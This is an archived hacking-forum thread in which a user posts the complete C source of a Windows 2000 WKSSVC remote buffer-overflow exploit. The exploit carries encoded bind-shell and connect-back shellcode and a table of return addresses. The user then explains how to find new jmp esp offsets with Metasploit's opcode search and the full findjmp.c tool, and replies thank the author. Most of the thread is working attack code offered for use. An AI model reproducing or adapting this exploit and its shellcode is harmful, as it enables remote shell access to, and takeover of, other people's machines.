hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Finding Target...
pita
i see a lot of post on how to find some offsets so here is the way i use to find more,
i assume that its maybe not the best way but i had some results with this method so...

lets take an exploit, here it's the code for the workstation exploit written by snooq:

CODE

/*
*  Author: snooq [http://www.angelfire.com/linux/snooq/]        
*  Date: 15 November 2003  
*
*  ++++++++++ THIS IS YET ANOTHER PRIVATE VERSION ++++++++++
*
*  Another version........ slightly different from the one
*  on packetstorm & k-otik........ =p
*
*  I've changed the shellcode a bit... ExitThread() instead
*  of ExitProcess()..... it doens't crash now.. :)
*
*  Also, added an option for u to specify a XOR key to be
*  used in encoding the payload....
*
*  This should be the final release....I dun think I'm gonna
*  improve this further...
*
*  Lastly.. let me iterate this again....
*  This code will only work against Win2K that was configured
*  to grant 'anonymous logon' write access to the log file...
*  [NB: win2k(on ntfs), by default, don't...]
*
*  Using this against XP will likely fail....
*  but if u manage to adapt this code to work for XP too..
*  pleaseeeee.. send me a copy tooo.... =)
*
*  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
*/

#pragma comment (linker,"/NODEFAULTLIB:msvcprtd.lib")
#pragma comment (linker,"/NODEFAULTLIB:libcmtd.lib")
#pragma comment (linker,"/NODEFAULTLIB:libcmt.lib")
#pragma comment (linker,"/NODEFAULTLIB:libcd.lib")
#pragma comment (lib,"ws2_32")
#pragma comment (lib,"msvcrt")
#pragma comment (lib,"mpr")
#pragma warning (disable:4013)

#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <stdlib.h>
#include <stdio.h>
#include <lm.h>

#define NOP  0x90
#define PORT  24876
#define CODE_OFFSET 32
#define KEY_OFFSET 13
#define KEY  0x99999999

#define ALIGN  1 // Between 0 ~ 3
#define TARGET  1
#define INTERVAL 3
#define TIME_OUT 20
#define HEX_LEN  16
#define PORT_OFFSET_1 198
#define PORT_OFFSET_2 193
#define IP_OFFSET 186
#define SC_OFFSET 20 // Gap for some NOPs...
#define RET_SIZE 2026 // Big enuff to take EIP...;)

#define SC_SIZE_1 sizeof(bindport)
#define SC_SIZE_2 sizeof(connback)

#define BSIZE 2600
#define SSIZE 128

extern char getopt(int,char **,char*);
extern char *optarg;
static int alarm_fired=0;

HMODULE hMod;
FARPROC fxn;
HANDLE t1, t2;

char buff[BSIZE];

struct {
char *os;
long jmpesp;
char *dll;
}

targets[] = {
{
 "Window 2000 (en) SP4",
 0x77e14c29,
 "user32.dll 5.0.2195.6688"
},
{
 "Window 2000 (en) SP1",
 0x77e3cb4c,
 "user32.dll 5.0.2195.1600"
},
{
 "Window 2000 (ru) SP3", // Thanks sherry for this..
 0x77e2afc5,
 "user32.dll 5.0.2195.4314"
},
{
 "Window 2000 (ru) SP4", // Thanks 0x90 for this..
 0x793bedbb,
 "user32.dll 5.0.2195.6688"
},
{
 "For debugging only",
 0x41424344,
 "dummy.dll 5.0.2195.1600"
}
}, v;

/*
* HD Moore's shellcode.....;)
* Modified to use ExitThread() instead of ExitProcess()... =p
*/

char bindport[]=
"\xeb\x19\x5e\x31\xc9\x81\xe9\xa6\xff\xff\xff\x81\x36\x99\x99\x99"
"\x99\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff"
"\xe8\x38\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xe5\x49\x86"
"\x49\xa4\xad\x2e\xe9\xa4\x1a\x70\xc7\xd9\x09\xf5\xad\xcb\xed\xfc"
"\x3b\x8e\x4e\x0e\xec\xef\xce\xe0\x60\xad\xd9\x05\xce\x72\xfe\xb3"
"\x16\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c\x4c\x00\x01\x5b\x54\x89"
"\xe5\x89\x5d\x00\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
"\xad\x8b\x58\x08\xeb\x0c\x8d\x57\x2c\x51\x52\xff\xd0\x89\xc3\x59"
"\xeb\x10\x6a\x08\x5e\x01\xee\x6a\x0a\x59\x8b\x7d\x00\x80\xf9\x06"
"\x74\xe4\x51\x53\xff\x34\x8f\xe8\x90\x00\x00\x00\x59\x89\x04\x8e"
"\xe2\xeb\x31\xff\x66\x81\xec\x90\x01\x54\x68\x01\x01\x00\x00\xff"
"\x55\x20\x57\x57\x57\x57\x47\x57\x47\x57\xff\x55\x1c\x89\xc3\x31"
"\xff\x57\x57\x68\x02\x00\x22\x11\x89\xe6\x6a\x10\x56\x53\xff\x55"
"\x18\x57\x53\xff\x55\x14\x57\x56\x53\xff\x55\x10\x89\xc2\x66\x81"
"\xec\x54\x00\x8d\x3c\x24\x31\xc0\x6a\x15\x59\xf3\xab\x89\xd7\xc6"
"\x44\x24\x10\x44\xfe\x44\x24\x3d\x89\x7c\x24\x48\x89\x7c\x24\x4c"
"\x89\x7c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49"
"\x51\x51\xff\x75\x00\x51\xff\x55\x30\x89\xe1\x68\xff\xff\xff\xff"
"\xff\x31\xff\x55\x2c\x57\xff\x55\x0c\xff\x55\x28\x53\x55\x56\x57"
"\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18"
"\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc"
"\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c"
"\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c"
"\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d"
"\x5b\xc2\x08\x00";

char connback[]=
"\xeb\x19\x5e\x31\xc9\x81\xe9\xab\xff\xff\xff\x81\x36\x99\x99\x99"
"\x99\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff"
"\xe8\x30\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xec\xf9\xaa"
"\x60\xd9\x09\xf5\xad\xcb\xed\xfc\x3b\x8e\x4e\x0e\xec\xef\xce\xe0"
"\x60\xad\xd9\x05\xce\x72\xfe\xb3\x16\x57\x53\x32\x5f\x33\x32\x2e"
"\x44\x4c\x4c\x00\x01\x5b\x54\x89\xe5\x89\x5d\x00\x6a\x30\x59\x64"
"\x8b\x01\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x58\x08\xeb\x0c\x8d\x57"
"\x24\x51\x52\xff\xd0\x89\xc3\x59\xeb\x10\x6a\x08\x5e\x01\xee\x6a"
"\x08\x59\x8b\x7d\x00\x80\xf9\x04\x74\xe4\x51\x53\xff\x34\x8f\xe8"
"\x83\x00\x00\x00\x59\x89\x04\x8e\xe2\xeb\x31\xff\x66\x81\xec\x90"
"\x01\x54\x68\x01\x01\x00\x00\xff\x55\x18\x57\x57\x57\x57\x47\x57"
"\x47\x57\xff\x55\x14\x89\xc3\x31\xff\x68\xc0\xa8\x00\xf7\x68\x02"
"\x00\x22\x11\x89\xe1\x6a\x10\x51\x53\xff\x55\x10\x85\xc0\x75\x44"
"\x8d\x3c\x24\x31\xc0\x6a\x15\x59\xf3\xab\xc6\x44\x24\x10\x44\xfe"
"\x44\x24\x3d\x89\x5c\x24\x48\x89\x5c\x24\x4c\x89\x5c\x24\x50\x8d"
"\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49\x51\x51\xff\x75\x00"
"\x51\xff\x55\x28\x89\xe1\x68\xff\xff\xff\xff\xff\x31\xff\x55\x24"
"\x57\xff\x55\x0c\xff\x55\x20\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b"
"\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb"
"\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0"
"\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b"
"\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b"
"\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00";

void err_exit(char *s) {
printf("%s\n",s);
exit(0);
}

struct {
   char chr;
   int value;
}
CHexMap[]=
{
   {'0', 0}, {'1', 1},
   {'2', 2}, {'3', 3},
   {'4', 4}, {'5', 5},
   {'6', 6}, {'7', 7},
   {'8', 8}, {'9', 9},
   {'A', 10}, {'B', 11},
   {'C', 12}, {'D', 13},
   {'E', 14}, {'F', 15}
}, map;

/*
* This is based on code posted to codeproject
* by Anders Molin.....;)
*/

long str2long(char *s) {
long result=0;
int i, len, found, firsttime=1;

len=strlen(s);

if (*s=='0' && (*(s+1)=='X' || *(s+1)=='x')) {
 s+=2;
 len-=2;
}

if (len>HEX_LEN) err_exit("-> Invalid key...");

while(*s!='\0') {
 found=0;
 for (i=0; i<HEX_LEN; i++) {
  if ((*s==CHexMap[i].chr) || (*s==CHexMap[i].chr+32)) {
   if (!firsttime) result<<=4;
   result |= CHexMap[i].value;
   found=1;
   break;
  }
 }
 if (!found) break;
 s++;
 firsttime=0;
}
return result;
}


/*
* Ripped from TESO code and modifed by ey4s for win32
* and... lamer quoted it wholesale here..... =p
*/

void doshell(int sock) {
int l;
char buf[512];
struct timeval time;
unsigned long ul[2];

time.tv_sec=1;
time.tv_usec=0;

while (1) {
 ul[0]=1;
 ul[1]=sock;

 l=select(0,(fd_set *)&ul,NULL,NULL,&time);
 if(l==1) {
  l=recv(sock,buf,sizeof(buf),0);
  if (l<=0) {
   err_exit("-> Connection closed...");
  }
  l=write(1,buf,l);
  if (l<=0) {
   err_exit("-> Connection closed...");
  }
 }
 else {
  l=read(0,buf,sizeof(buf));
  if (l<=0) {
   err_exit("-> Connection closed...");
  }
  l=send(sock,buf,l,0);
  if (l<=0) {
   err_exit("-> Connection closed...");
  }
 }
}
}

char *getmyip(int e) {
int i;
char ac[SSIZE];
struct in_addr addr;
struct hostent *phe;

if (gethostname(ac, sizeof(ac))==SOCKET_ERROR) {
 err_exit("-> Couldn't get local hostname...");
}
 
phe=gethostbyname(ac);

if (phe==0) {
        err_exit("-> Hostname lookup error...");
}

if (e) {
 for (i=0; phe->h_addr_list[i]!=0; ++i) {
  memcpy(&addr, phe->h_addr_list[i], sizeof(struct in_addr));
  printf("-> Use %s as local IP? [y/n]\n",inet_ntoa(addr));
  if (getch()=='y' || getch()=='Y') return inet_ntoa(addr);
 }
 err_exit("-> Couldn't find local IP??? Try '-i' switch...\n");
}
else {
 memcpy(&addr, phe->h_addr_list[0], sizeof(struct in_addr));
 return inet_ntoa(addr);
}

return NULL;
}


void changeip(char *ip) {
char *ptr;
ptr=connback+IP_OFFSET;
/* Assume Little-Endianess.... */
*((long *)ptr)=inet_addr(ip);
}

void changeport(char *code, int port, int offset) {
char *ptr;
ptr=code+offset;
/* Assume Little-Endianess.... */
*ptr++=(char)((port>>8)&0xff);
*ptr++=(char)(port&0xff);
}

void banner() {
printf("\nWKSSVC Remote Exploit By Snooq [jinyean@hotmail.com]\n\n");
}

void usage(char *s) {
banner();
printf("Usage: %s [options]\n\n",s);
printf("\t-r\tSize of 'return addresses'\n");
printf("\t-a\tAlignment size [0~3]\n");
printf("\t-p\tPort to bind shell to (in 'connecting' mode), or\n");
printf("\t\tPort for shell to connect back (in 'listening' mode)\n");
printf("\t-s\tShellcode offset from the return address\n");
printf("\t-t\tTarget types. ( -H for more info )\n");
printf("\t\tDefault is '-t 1'\n");
printf("\t-H\tShow list of possible targets\n");
printf("\t-l\tListening for shell connecting\n");
printf("\t\tback to port specified by '-p' switch\n");
printf("\t-i\tIP for shell to connect back.\n");
printf("\t\tIf '-i' is not present, the first local IP is used.\n");
printf("\t-e\tEnumerate local IPs interactively. ('listening' mode only)\n");
printf("\t-I\tTime interval between each trial ('connecting' mode only)\n");
printf("\t-T\tTime out (in number of seconds)\n");
printf("\t-k/-K\tXOR key, e.g '-k 43452352' or '-K 0xabcd9897'\n");
printf("\t-h\tTarget's IP. <<< THIS IS MANDATORY >>>\n\n");
exit(0);
}

void showtargets() {
int i;
banner();
printf("Possible targets are:\n");
printf("=====================\n");
for (i=0;i<sizeof(targets)/sizeof(v);i++) {
 printf("%d) %s",i+1,targets[i].os);
 printf(" --> 0x%08x (%s)\n",targets[i].jmpesp,targets[i].dll);

}
exit(0);
}

void sendstr(char *host) {

WCHAR wStr[SSIZE];
char ipc[SSIZE], hStr[SSIZE];

DWORD ret;
NETRESOURCE NET;

hMod=LoadLibrary("netapi32.dll");
fxn=GetProcAddress(hMod,"NetValidateName");

_snprintf(ipc,SSIZE-1,"\\\\%s\\ipc$",host);
_snprintf(hStr,SSIZE-1,"\\\\%s",host);
MultiByteToWideChar(CP_ACP,0,hStr,strlen(hStr)+1,wStr,sizeof(wStr)/sizeof(wStr[0]));

NET.lpLocalName = NULL;
NET.lpProvider = NULL;
NET.dwType = RESOURCETYPE_ANY;
NET.lpRemoteName = (char*)&ipc;

printf("-> Setting up $IPC session...(aka 'null session')\n");
ret=WNetAddConnection2(&NET,"","",0);

if (ret!=ERROR_SUCCESS) { err_exit("-> Couldn't establish IPC$ connection..."); }
else printf("-> IPC$ session setup successfully...\n");

printf("-> Sending exploit string...\n");

ret=fxn((LPCWSTR)wStr,buff,NULL,NULL,0);

}

VOID CALLBACK alrm_bell(HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime ) {
err_exit("-> I give up...dude.....");
}

void setalarm(int timeout) {

MSG msg = { 0, 0, 0, 0 };
SetTimer(0, 0, (timeout*1000), (TIMERPROC)alrm_bell);

while(!alarm_fired) {
 if (GetMessage(&msg, 0, 0, 0) ) {
  if (msg.message == WM_TIMER) printf("-> WM_TIMER received...\n");
  DispatchMessage(&msg);
 }
}

}

void resetalarm() {
if (TerminateThread(t2,0)==0) {
 err_exit("-> Failed to reset alarm...");
}
if (TerminateThread(t1,0)==0) {
 err_exit("-> Failed to kill the 'sending' thread...");
}
}

void do_send(char *host,int timeout) {
t1=(HANDLE)_beginthread(sendstr,0,host);
if (t1==0) { err_exit("-> Failed to send exploit string..."); }
t2=(HANDLE)_beginthread(setalarm,0,timeout);
if (t2==0) { err_exit("-> Failed to set alarm clock..."); }
}

unsigned char b[4];

void get_bytes(long word) {
b[0]=word&0xff;
   b[1]=(word>>8)&0xff;
b[2]=(word>>16)&0xff;
b[3]=(word>>24)&0xff;
}

void XORcode(int mode,long key) {
char *ptr, *code;
long tmp;
int i, j, len;

if (mode) {
 len=SC_SIZE_2;
 code=connback;
}
else {
 len=SC_SIZE_1;
 code=bindport;
}

printf("-> XORing payload with key -> 0x%08x....\n",key);

ptr=code+KEY_OFFSET;
*((long *)ptr)=key;
ptr=code+CODE_OFFSET;
for(i=0;i<(len-CODE_OFFSET);i+=4) {
 tmp=*((long *)ptr);
 *((long *)ptr)=tmp^key;
 get_bytes(tmp^key);
 for(j=0;j<4;j++) {
  if (b[j]=='\0') err_exit("-> Payload has 'null'. Try another key..=p");
 }
 ptr+=4;
}
*(code+len)=0;
}

int main(int argc, char *argv[]) {

char opt;
char *host, *ptr, *ip="";
struct sockaddr_in sockadd;
int i, i_len, ok=0, mode=0, flag=0, enum_ip=0;
int align=ALIGN, retsize=RET_SIZE, sc_offset=SC_OFFSET;
int target=TARGET, scsize=SC_SIZE_1, port=PORT;
int timeout=TIME_OUT, interval=INTERVAL;
long retaddr, key=KEY;

WSADATA wsd;
SOCKET s1, s2;

if (argc<2) { usage(argv[0]); }

while ((opt=getopt(argc,argv,"a:i:I:r:s:h:k:K:t:T:p:Hle"))!=EOF) {
 switch(opt) {
  case 'a':
  align=atoi(optarg);
  break;

  case 'I':
  interval=atoi(optarg);
  break;

  case 'T':
  timeout=atoi(optarg);
  break;

  case 't':
  target=atoi(optarg);
  break;

  case 'i':
  ip=optarg;
  break;

  case 'k':
  key=atol(optarg);
  break;

  case 'K':
  key=str2long(optarg);
  break;

  case 'l':
  mode=1;
  scsize=SC_SIZE_2;
  break;

  case 'e':
  enum_ip=1;
  break;

  case 'r':
  retsize=atoi(optarg);
  break;

  case 's':
  sc_offset=atoi(optarg);
  break;
 
  case 'h':
  ok=1;
  host=optarg;
  sockadd.sin_addr.s_addr=inet_addr(optarg);
  break;

  case 'p':
  port=atoi(optarg);
  break;

  case 'H':
  showtargets();
  break;

  default:
  usage(argv[0]);
  break;
 }
}

if (!ok) { usage(argv[0]); }
if (mode) {
 if ((enum_ip)&&(*ip!='\0')) { usage(argv[0]); }
}
else {
 if (enum_ip) { usage(argv[0]); }
}

memset(buff,NOP,BSIZE);
retaddr=targets[target-1].jmpesp;

ptr=buff+align;
for(i=0;i<retsize;i+=4) {
 *((long *)ptr)=retaddr;
 ptr+=4;
}

if (WSAStartup(MAKEWORD(1,1),&wsd)!=0) {
 err_exit("-> WSAStartup error....");
}

if ((s1=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
 err_exit("-> socket() error...");
}
sockadd.sin_family=AF_INET;
sockadd.sin_port=htons((SHORT)port);

ptr=buff+retsize+sc_offset;

if (BSIZE<(retsize+sc_offset+scsize)) err_exit("-> Bad 'sc_offset'..");

banner();

if (mode) {

 printf("-> 'Listening' mode...( port: %d )\n",port);

 if (*ip=='\0') {
  ip=getmyip(enum_ip);
  if (*ip=='\0') err_exit("-> Couldn't figure out local IP. Use '-i' switch...");
 }

 printf("-> Using local IP: %s\n",ip);

 changeip(ip);
 changeport(connback, port, PORT_OFFSET_2);
 XORcode(mode,key);

 for(i=0;i<scsize;i++) { *ptr++=connback[i]; }

 do_send(host,timeout);
 Sleep(1000);

 sockadd.sin_addr.s_addr=htonl(INADDR_ANY);
 i_len=sizeof(sockadd);

 if (bind(s1,(struct sockaddr *)&sockadd,i_len)<0) {
  err_exit("-> bind() error...");
 }

 if (listen(s1,0)<0) {
  err_exit("-> listen() error...");
 }

 printf("-> Waiting for connection...\n");

 s2=accept(s1,(struct sockaddr *)&sockadd,&i_len);

 if (s2<0) {
  err_exit("-> accept() error...");
 }

 printf("-> Connection from: %s\n\n",inet_ntoa(sockadd.sin_addr));

 resetalarm();
 doshell(s2);

}
else {

 printf("-> 'Connecting' mode...\n",port);

 changeport(bindport, port, PORT_OFFSET_1);
 XORcode(mode,key);
 for(i=0;i<scsize;i++) { *ptr++=bindport[i]; }

 do_send(host,timeout);
 Sleep(1000);

 printf("-> Will try connecting to shell now....\n");

 i=0;  
 while(!flag) {
  Sleep(interval*1000);
  if(connect(s1,(struct sockaddr *)&sockadd, sizeof(sockadd))<0) {
   printf("-> Trial #%d....\n",i++);
  }
  else { flag=1; }
 }

 printf("-> Connected to shell at %s:%d\n\n",inet_ntoa(sockadd.sin_addr),port);

 resetalarm();
 doshell(s1);

}

return 0;

}


take a look at the code:
CODE

struct {
char *os;
long jmpesp;
char *dll;
}

targets[] = {
{
 "Window 2000 (en) SP4",
 0x77e14c29,
 "user32.dll 5.0.2195.6688"
},
{
 "Window 2000 (en) SP1",
 0x77e3cb4c,
 "user32.dll 5.0.2195.1600"
},
{
 "Window 2000 (ru) SP3", // Thanks sherry for this..
 0x77e2afc5,
 "user32.dll 5.0.2195.4314"
},
{
 "Window 2000 (ru) SP4", // Thanks 0x90 for this..
 0x793bedbb,
 "user32.dll 5.0.2195.6688"
},
{
 "For debugging only",
 0x41424344,
 "dummy.dll 5.0.2195.1600"
}
}, v;


so in the struct we have long jmpesp; and below user32.dll so he is searching for jmp esp in user32.dll tongue.gif

ok now, we need to find the offsets for our win2k or for another...

personnaly i dont have win2k but there is two way:

the easiest way is to use the opcode search from metasploit (but only for us windows)
http://www.metasploit.com/opcode_search.html

inside search for the os of ur choice and the right dll

personnaly before to use the opcode search i want to verify that the opcode found in the exploit is the same that the one i found on metasploit so lets do a search on win2k sp4 for jmp esp on user32.dll

http://www.metasploit.com/opcode_search.ht...TH=Manual&FILES[]=user32.dll&TYPE=Register&REG=esp

as we can see the first value is the same that in the exploit
and its the same for win2k sp1

so we can search now for other sp

(as u can see the offset for sp3 ru found in the exploit is the same for win2k sp3 us)

now we have the offsets for all win2k us but maybe u r not american and u want to test on ur personnal win2k so we have another way.

findjmp.c

CODE


/*
Findjmp.c
written by Ryan Permeh - ryan@eeye.com - Summarily modified by I2S-LaB.com
http://www.eeye.com

This finds useful jump points in a dll.  Once you overflow a buffer, by
looking in the various registers, it is likely that you will find a
reference to your code.  This program will find addresses suitible to
overwrite eip that will return to your code.  

It should be easy to modify this to search for other good jump points,
or specific code patterns within a dll.

It currently supports looking for:
  1. jmp reg

  2. call reg

  3. push reg
     ret
All three options result in the same thing, EIP being set to reg.

It also supports the following registers:
 EAX
 EBX
 ECX
 EDX
 ESI
 EDI
 ESP
 EBP
*/

#include <Windows.h>
#include <stdio.h>

void usage();
DWORD GetRegNum( char *reg );
void findjmp( char *dll, char *reg );

//This finds useful jump points in a dll.  Once you overflow a buffer, by
//looking in the various registers, it is likely that you will find a
//reference to your code.  This program will find addresses of suitible
//addresses of eip that will return to your code.  

int main( int argc, char **argv )
{

if( argc <= 2 )
 usage();

else
{
 char dll[512], //holder for the dll to look in
 reg[512]; // holder for the register

 strncpy( dll, argv[1], 512 );
 strncpy( reg, argv[2], 512 );
 findjmp( dll, reg );
}
}

//This prints the usage information.  

void usage()
{
printf("\nFindJmp usage\nFindJmp DLL registre\nEx: findjmp KERNEL32.DLL esp"\
    "\nCurrently supported registre are: EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP\n" );
}

//findjmp is the workhorse.  it loads the requested dll, and searches for
//the specific patterns for jmp reg, push reg ret, and call reg

void findjmp( char *dll,char *reg )
{

BYTE jmppat[8][2]={  { 0xFF, 0xE0 }, { 0xFF, 0xE3 }, { 0xFF, 0xE1 }, { 0xFF, 0xE2 },
      { 0xFF, 0xE6 }, { 0xFF, 0xE7 }, { 0xFF, 0xE4 }, { 0xFF, 0xE5 } }; // patterns for jmp ops

BYTE callpat[8][2]={ { 0xFF, 0xD0 }, { 0xFF, 0xD3 }, { 0xFF, 0xD1 }, { 0xFF, 0xD2},
      { 0xFF, 0xD6 }, { 0xFF, 0xD7 }, { 0xFF, 0xD4 }, { 0xFF, 0xD5 } }; // patterns for call ops

BYTE pushretpat[8][2]={ { 0x50, 0xC3 }, { 0x53, 0xC3 }, { 0x51, 0xC3 }, { 0x52, 0xC3 },
      { 0x56, 0xC3 }, { 0x57, 0xC3 }, { 0x54, 0xC3 }, { 0x55, 0xC3 } }; // patterns for pushret ops


HMODULE loadedDLL; //base pointer for the loaded DLL

BYTE *curpos; //current position within the  DLL

DWORD regnum=GetRegNum(reg); // decimal representation of passed register

DWORD numaddr=0; //accumulator for addresses

if( regnum == -1 ) //check if register is useable
{                //it didn't load, time to bail
 printf( "There was a problem understanding the register.\n"\
  "Please check that it isa correct IA32 register name\n"\
  "Currently supported are:\n "\
  "EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP\n"\
  );

 exit(-1);
}

if( (loadedDLL=LoadLibraryA(dll)) == NULL)  // check if DLL loaded correctly
{                 //it didn't load, time to bail
 printf( "There was a problem Loading the requested DLL.\n"\
   "Please check that it is in your path and readable\n" );
 exit(-1);
}
else
{
 printf( "\nScanning %s for code useable with the %s register\n", dll, reg ); //we loaded the dll correctly, time to scan it
 curpos=(BYTE*)loadedDLL; //set curpos at start of DLL

 __try
 {
  while(1)
  {
   if( !memcmp( curpos, jmppat[regnum], 2) ) //check for jmp match
   {
    printf( "0x%X\tjmp %s\n", curpos, reg ); // we have a jmp match
    numaddr++;
   }

   else if( !memcmp( curpos, callpat[regnum],2) ) //check for call match

   {
    printf( "0x%X\tcall %s\n", curpos, reg ); // we have a call match
    numaddr++;
   }

   else if( !memcmp(curpos,pushretpat[regnum], 2) ) //check for push/ret match
   {
    printf( "0x%X\tpush %s - ret\n", curpos, reg ); // we have a pushret match
    numaddr++;
   }
   curpos++;
  }
 }
 __except(1)
 {
  printf( "Finished Scanning %s for code useable with the %s register\n", dll, reg );
  printf( "Found %d usable addresses\n", numaddr );
 }
}

}


DWORD GetRegNum( char *reg )
{
DWORD ret=-1;
if( !stricmp( reg, "eax") )
{
 ret=0;
}
else if( !stricmp( reg, "ebx") )
{
 ret=1;
}
else if( !stricmp( reg, "ecx") )
{
 ret=2;
}
else if( !stricmp( reg, "edx") )
{
 ret=3;
}
else if( !stricmp( reg, "esi") )
{
 ret=4;
}
else if( !stricmp( reg, "edi") )
{
 ret=5;
}
else if( !stricmp( reg, "esp") )
{
 ret=6;
}
else if( !stricmp( reg, "ebp") )
{
 ret=7;
}

return ret; //return our decimal register number
}

// EOF



this piece of code is searching in the dll of ur choice for use of the register of ur choice.

so now on ur personnal computer u can find the jmp esp by doing

findjmp user32.dll esp

and modify the code in function.

so as u can see its not so difficult to found another sp or some win2k in another language.

i hope that this was usefull for someone or u have learn something new.

(if i did some mistake plz correct me)
vnet576
Wow..you did a great job explaining specifically how to go about finding offsets for exploits. Thanks pita. cool.gif
coder
very nice post, propers to the author!

/action runs off to play with new toys biggrin.gif

I especially like findjmp.c - very useful!
Yosam
Very nice explaination on how to use offsets,

thanks a lot for a findjmp.c source code, gonna compile it asap smile.gif

big props to the author.

RESPECT!!
biboupoki
thanx good job !!!
nitrofuran
BIG THX for find jump real nice
hidden
really good job and nice explain BIG THX
Basti
plz delete this
darkside
Nice explaination, good work mate tongue.gif
Train25
Nice post......looks like its going to be another long night playing about... laugh.gif
Xion
Big thx for the exploit
yuliang11
this is a good tutorial. do yo u have anymore these kinds of tutorials on exploits programming? it would be good if u can post it on the tutorial section .
Kynroxes
rulezzzz I note this !! tks for the sharing !!
tribalgoa
grrrrrrrrrrreat stuff man !!!!
trunks
very useful info thanks for sharing dude
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.